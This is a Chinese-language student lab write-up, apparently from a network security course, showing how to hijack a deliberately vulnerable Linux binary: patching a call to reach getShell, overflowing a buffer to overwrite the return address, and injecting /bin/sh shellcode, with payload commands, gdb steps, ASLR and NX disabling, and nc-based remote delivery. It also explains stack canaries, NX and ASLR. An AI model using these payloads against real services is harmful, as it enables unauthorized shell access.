zoukankan      html  css  js  c++  java
  • 《网络对抗技术》Exp1 逆向破解实验

    《网络对抗技术》Exp1 逆向破解实验

    1 实践目标

    本次实践的对象是一个名为pwn1的linux可执行文件。

    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

     

      • 三个实践内容如下:
        • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
        • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
        • 注入一个自己制作的shellcode并运行这段shellcode。
      • 这几种思路,基本代表现实情况中的攻击目标:
        • 运行原本不可访问的代码片段
        • 强行修改程序执行流
        • 以及注入运行任意代码。

     

    2 基础知识点

    1.反汇编指令  objdump -d xxx | more 

     -d表示反汇编,xxx为可执行文件,|为管道符,more为分页指令

    2.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    NOP汇编指令的机器码是“90”
    JNE汇编指令的机器码是“75”
    JE 汇编指令的机器码是“74”
    JMP汇编指令的机器码是“eb”
    CMP汇编指令的机器码是“39”

    3.掌握反汇编与十六进制编程器 

    反汇编指令

    objdump -d filename

    objdump(object dump) 项目导出

    -d(disassemble) 反汇编

    filename 反汇编的可执行文件

    如果我们想要以全屏幕的方式按页显示反汇编的内容,可以利用“管道”,即在反汇编指令后添加| more,这样我们就可以利用more的一些快捷键,如:Enter(向下翻滚一行),空格(向下滚动一屏),Q(退出命令)

    十六进制编程器,是用来以16进制视图进行文本编辑的编辑工具软件。其实我们只需要用各系统都兼容的“vim”编辑器就可以实现十六进制编辑的功能。具体步骤如下:

    • 输入命令vi pwn1查看可执行文件内容,为ASCII码形式显示;
    • 输入:%!xxd将显示模式切换为16进制模式;
    • 进行相关操作后,输入:%!xxd -r转换16进制为为ASCII码形式。

    3 直接修改程序机器指令,改变程序执行流程

    • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具

    • 学习目标:理解可执行文件与机器指令

    • 进阶:掌握ELF文件格式,掌握动态技术

    步骤一:可执行文件反汇编并计算

     objdump -d pwn1 | more 

    "call 8048491 "是汇编指令

    指令将调用位于地址8048491处的foo函数;

    其对应机器指令为“e8 d7ffffff”,e8即跳转之意。

    本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,e8即挑战,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29=8048491,就是foo的内存地址

    main函数调用foo,对应机器指令为“ e8 d7ffffff”,

    我们的目标是它调用getShell,将修改“d7ffffff”为,"getShell-80484ba"对应的补码。

    用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff。

    步骤二:修改可执行文件

    cp pwn1 pwn2    //复制pwn1得到pwn2
    vim pwn2    //进入vim编辑pwn2
    
    以下操作在vim中操作(此时为乱码)
    1.按下ESC
    2.输入:%!xxd,将显示模式切换为16进制模式
    3.输入/d7  //查找需要修改的地方(如果搜e8 d7注意要有空格,否则会搜索不到)可以多查找几次,以防有重复字段,一般关键词前后十个字节一致,就是查找目标值
    4.按下i,插入模式,将d7改为c3
    5.按下ESC,输入:%!xxd -r  //转换16进制为原格式,这一步一定要做,否则在反编译时会提示格式错误
    6.输入:wq,保存并退出
    7.objdump -d pwn2 | more  //对比确认

    反编译验证一下:

    步骤三:运行一下pwn1和pwn2:

    • pwn1的功能是回显键盘输入;
    • pwn2的功能是实现shell。

    以上编辑操作也可以在图形化的16进制编程器中完成。

    apt-get install wxhexeditor    //安装wxhexedior
    wxHexEditor  //注意大小写,否则会显示command not found

    4 通过构造输入参数,造成BOF攻击,改变程序执行流

    • 知识要求:堆栈结构,返回地址
    • 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
    • 进阶:掌握ELF文件格式,掌握动态技术

     步骤一:反汇编,了解程序的基本功能

    原理:foo函数有漏洞:foo函数中给输入的字符串预留了28个字节的空间

    在正常执行的情况下,call调用foo,同时在堆栈上压上返回地址值:80484ba

    我们利用缓冲区溢出覆盖返回地址,使得程序转向我们预期的getshell,运行getshell

    该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞
    
    08048491 <foo>:
     8048491:    55                       push   %ebp
     8048492:    89 e5                    mov    %esp,%ebp
     8048494:    83 ec 38                 sub    $0x38,%esp
     8048497:    8d 45 e4                 lea    -0x1c(%ebp),%eax
     804849a:    89 04 24                 mov    %eax,(%esp)
    
    
    这里读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址

     步骤二:确认输入字符串哪几个字符会覆盖到返回地址

    gdb pwn1    //如果没有安装gdb,则输入命令apt install gdb
    
    以下内容为进入gdb调试器
    r     //r 表示运行(run)
    输入测试    //不超过28个字节,则正常回显输出输入字符
                    //超过28个字节,则覆盖EIP
    
    info r    //info 表示显示,r为寄存器(register),寄存器检查

    步骤三:覆盖返回地址

    getShell的内存地址,通过反汇编时可以看到,getshell函数的地址为: 0x0804847d

    接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。

    gdb pwn1
    
    //以下操作在gdb中
    break *0x804849d
    info break    //查看地址
    r    //运行
    info r    //查看eip寄存器地址

    对比之前 ==eip 0x34333231 0x34333231== ,正确应用输入 ==11111111222222223333333344444444\x7d\x84\x04\x08==。

     

    步骤四:构造输入字符串

    由于小端优先,而且输入字符串时以ASCII码输入,因此要转换为 \x7d\x84\x04\x08 

    由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

    perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input    //由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
    xxd input    //使用16进制查看指令xxd查看input文件的内容是否如预期
    (cat input; cat) | ./pwn1    //将input的输入,通过管道符“|”,作为pwn1的输入

    关于Perl: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中

    补充:理解函数调用和堆栈

     

    5 注入Shellcode并执行

    步骤一:准备一段Shellcode

    • shellcode就是一段机器指令(code)
      • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
      • 所以这段机器指令被称为shellcode。
      • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

    我们需要确定shellcode放哪,shellcode可能在EIP前或是EIP后,这取决于操作系统,此次实验放在EIP后面。

    步骤二:安装execstack

    execstack需要我们另外安装,在网络上的教程中,最终会出现 无法定位软件包 execstack 提示。

    因此,我们使用老师给的压缩包prelink_0.0.20130503.orig.tar,步骤如下:

    1 //把prelink_0.0.20130503.orig.tar放到kali虚拟机中
    2 //在虚拟机中解压缩
    3 //在解压缩文件中打开终端
    4 sudo apt-get install libelf-dev
    5 ./configure
    6 make
    7 sudo make install

    步骤三:准备工作

    堆栈可执行-->shellcode放在堆栈上,正常是不可执行的。

    关闭地址随机化,目的:调试-->第1、2次调试中使用堆栈地址不变,一般堆栈随机化,防范多次调试。

    关闭AL8R

    execstack -s pwn1    //设置堆栈可执行
    execstack -q pwn1    //查询文件的堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space
    
    sudo -s    //否则权限不够
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化,2为开启,0为关闭
    more /proc/sys/kernel/randomize_va_space

    步骤四:构造要注入的payload

    • Linux下有两种基本构造攻击buf的方法:
      • retaddr+nop+shellcode
      • nop+shellcode+retaddr。
    • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
    • 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
    • 我们这个buf够放这个shellcode了
    • 结构为:nops+shellcode+retaddr。
      • nop一为是了填充,二是作为“着陆区/滑行区”。
      • 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

    失败案例(坑)

    最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。

    特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。

    没有回车符是为了让程序停在gets获取字符串的函数前,相当于输入了字符没有按回车键,否则程序执行了gets就直接运行puts函数,就直接运行完了,没有机会停留在进程中让我们打开调试

    perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

    接下来我们来确定\x4\x3\x2\x1到底该填什么。

    打开一个终端注入这段攻击buf:

    (cat input_shellcode;cat) | ./pwn1

    再开另外一个终端,用gdb来调试pwn1这个进程。一定要另开一个终端!

    建议打开root权限。

    注意:查看esp寄存器,要根据自己的地址进行下面的操作!!!

     

    ps -ef | grep pwn1    //找到pwn1的进程号是:5906,根据自己的结果进行调整pid号会变化
    gdb    //打开gdb调试器
    
    //以下在gdb中进行
    attach 5906    //绑定进程
    //通过设置断点,来查看注入buf的内存地址
    disassemble foo
    //断在这,这时注入的东西都大堆栈上了
    //ret完,就跳到我们覆盖的retaddr那个地方了
    break *0x080484ae
    //在另外一个终端中按下回车,这就是前面为什么不能以\x0a来结束 input_shellcode的原因。一定要在另一个终端!!!
    c    //继续
    info r esp    //查看esp寄存器,要根据自己的地址进行下面的操作!!!
    x/16x 0xffffd5cc  //看到 01020304了,再往前找28字节
    x/16x 0xffffd5b0  //看到0xc0319090了,再向前4个字节即可
    x/16x 0xffffd5ac    //从这开始就是我们的Shellcode
    c    //继续
    //可以看到这个返回地址占位也是对的
    q    //退出gdb

     向前4个字节,是eip占四个字节,而eip后面紧跟nops,nops的十六进制为0x909090

    perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
    (cat input_shellcode;cat) | ./pwn1

    结果显然是失败了

     

    查找失败原因:

    //与上面步骤类似
    //在一个终端中输入
    (cat input_shellcode;cat) | ./pwn1
    //在另一个终端中输入
    ps -ef | grep pwn1
    gdb
    //以下在gdb中进行
    attach 端口号    //与上一次不同
    info r    //查看寄存器
    x/16x 0xffffd5b0    //对应地址,看起来buf没问题
    si    //si是step instruction的简写,表示运行一条指令
    //也跳转到我们的shellcode了,那我们就一步步执行看哪步错
    //出错了

     

    以下是正确操作:

    结构为:anything+retaddr+nops+shellcode。

    看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd5cc + 0x00000004 = 0xffffd5d0

    每个人的情况不一样,因根据自己的情况修改命令。

    perl -e 'print "A" x 32;print "\xd0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode 
    //不同的电脑运行情况不同,根据实际情况修改命令,如下图红框所示
    xxd input_shellcode
    (cat input_shellcode;cat) | ./pwn1

    结果:攻击成功!

     

    注意:

    以上实践是在非常简单的一个预设条件下完成的:

    (1)关闭堆栈保护(gcc -fno-stack-protector

    (2)关闭堆栈执行保护(execstack -s)

    (3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)

    (4)在x32环境下

    (5)在Linux实践环境

     

    步骤五:结合nc模拟远程攻击

     在同一台主机上做的实验;该实验最好在互相连通的两台Linux上做,将ip地址替换为主机1的IP即可。

    下面为在一台主机上进行:

    主机1,模拟一个有漏洞的网络服务:

    nc -l 127.0.0.1 -p 28234  -e ./pwn1
    //-l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入
    //如果是两个虚拟机互联
    ifconfig    //查看ip地址,将127.0.0.1替换

    主机2,连接主机1并发送攻击载荷:

    (cat input_shellcode; cat) | nc 127.0.0.1 28234
    //两个虚拟机互联则使用主机1的ip地址替换127.0.0.1
    //然后输入shell指令,例如ls

     

    两台主机上进行:

     

    //主机1可以通过ifconfig进行查询IP地址
    //主机一
    nc -l -p 28234  -e ./pwn1
    
    //主机二
    (cat input_shellcode; cat) | nc 192.168.11.151 28234
    //其中192.168.11.151为主机

     

     遇到的问题:

    在两台主机互联时,按照指令输入时,主机二一旦输入相应命令,主机一就会出现 invalid connection to [192.168.11.151] from (UNKNOWN) [192.168.11.153] 32974 ,在关闭虚拟机的防火墙后,仍存在这样的问题,关闭防火墙的命令为

    sudo apt-get install ufw     //安装
    ufw disable    //关闭防火墙

      后来尝试:参考老师和同学的建议,在主机一的命令中隐去主机一的ip地址,解决了问题。隐去IP地址,能够避免主机存在多个IP地址,发送存在限制的问题

     

    6 Bof攻击防御技术

    步骤一:从防止注入的角度

    在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。

     

    步骤二: 注入入了也不让运行

    结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。

    execstack -s pwn1    //把堆栈设置为可执行
    execstack -q pwn1    //查询堆栈状态
    //此时我们的攻击可以执行,如上实验
    
    excstack -c pwn1   //把堆栈设置为不可执行
    execstack -q pwn1    //查询堆栈状态
    //此时我们的攻击不可执行了
    
    //以下测试攻击
    perl -e 'print "A" x 32;print "\xd0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
    (cat input_shellcode;cat) | ./pwn1

     为不影响第三步结果,因此要再次 execstack -s pwn1 ,将堆栈设为可执行。

    步骤三:增加shellcode的构造难度

    shellcode中需要猜测==返回地址==的位置,需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实:应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR,地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。

    在前面的工作里面,我们把地址随机化关闭了,才达到了攻击成功的目的。

     /proc/sys/kernel/randomize_va_space 用于控制Linux下 内存地址随机化机制(address space layout randomization),有以下三种情况

    0 - 表示关闭进程地址空间随机化。

    1 - 表示将mmap的基址,stack和vdso页面随机化。

    2 - 表示在1的基础上增加栈(heap)的随机化。

    echo "1" > /proc/sys/kernel/randomize_va_space    //将mmap的基址,stack和vdso页面随机化
    echo "2" > /proc/sys/kernel/randomize_va_space    //在1的基础上增加栈(heap)的随机化。
    more /proc/sys/kernel/randomize_va_space    //查看
    (cat input_shellcode;cat) | ./pwn1    //尝试攻击

     

    从管理的角度

    加强编码质量。注意边界检测。使用最新的安全的库函数。

     

    7 实验收获与感想

    在整个实验过程中,我先学习视频,边学边做笔记,但是掌握程度不够,通过实际操作才能真正理解输入命令和命令里面数据的意义,也遇到了很多问题,比如在修改./pwn2时,忘记:%!xxd -r转回格式,导致无法运行,再通过vi中转回格式,仍会存在格式问题,只能在保存前进行格式转换,gdb没有安装,输入apt install gdb进行安装,也有遇到权限问题,通过sudo -s命令进入root模式,也在老师的指导下,安装了execstack,也在查看寄存器和地址的过程,理解缓冲区溢出的工作原理,函数的调用和堆栈的内存存储方式,将老师演示的存储图掌握。在我尝试两个主机中结合nc模拟远程攻击,遇到了问题 invalid connection to [192.168.11.151] from (UNKNOWN) [192.168.11.153] 32914 根据查询资料,两台主机测试ping指令都能ping通,没有连接问题,也在同一局域网下,猜测是虚拟机防火墙问题,经过尝试证实猜测错误,而后参考同学和老师建议,修改主机一中命令,隐去主机的IP地址,成功解决问题。在做实验时,我们需要更加谨慎,学习每个步骤和每个参数的含义。

     

    8 什么是漏洞?漏洞有什么危害?

    答:本次实验的漏洞是指在输入时,没有进行边界测试,导致输入溢出缓冲区,覆盖EIP,执行我们预期的代码。

    而在课程的学习中,我们学习到的漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,存在技术缺陷或者程序问题,从而可以使攻击者能够在未授权的情况下访问或破坏系统,执行我们想要的程序。

    危害:漏洞影响面逐步扩大,超高危漏洞比率大幅增加,漏洞修复率处于历史较低水平,威胁形势依然严峻。

    1.程序的正常功能无法按照预期执行,对服务器的安全收到影响,执行任意系统命令,攻击者能直接控制目标服务器,危害的严重程度重大;

    2.程序被非法控制和破坏,安装恶意软件,导致病毒传播;

    3.可能会导致信息泄漏,身份信息没有隐私,重要信息泄露,造成损失,暴露服务器的信息,使攻击者能够通过泄露的信息入侵;

    4.帐号密码泄漏,导致攻击者直接操作网站后台或数据库,操控一些可能有危害,邮件泄露会被垃圾邮件骚扰,被攻击者利用社会工程学手段获取更多信息,扩大危害。

  • 相关阅读:
    HDU 1213 How Many Tables 并查集 寻找不同集合的个数
    哈哈哈哈哈
    P2251 质量检测(ST表)
    poj3264Balanced Lineup(倍增ST表)
    bzoj1088扫雷(搜索)
    P2258 子矩阵(dp)
    codevs1369 xth 砍树(线段树)
    5.3QBXT模拟赛
    codevs1690 开关灯(线段树)
    zhw大神线段树姿势
  • 原文地址:https://www.cnblogs.com/regina1st/p/14502181.html
Copyright © 2011-2022 走看看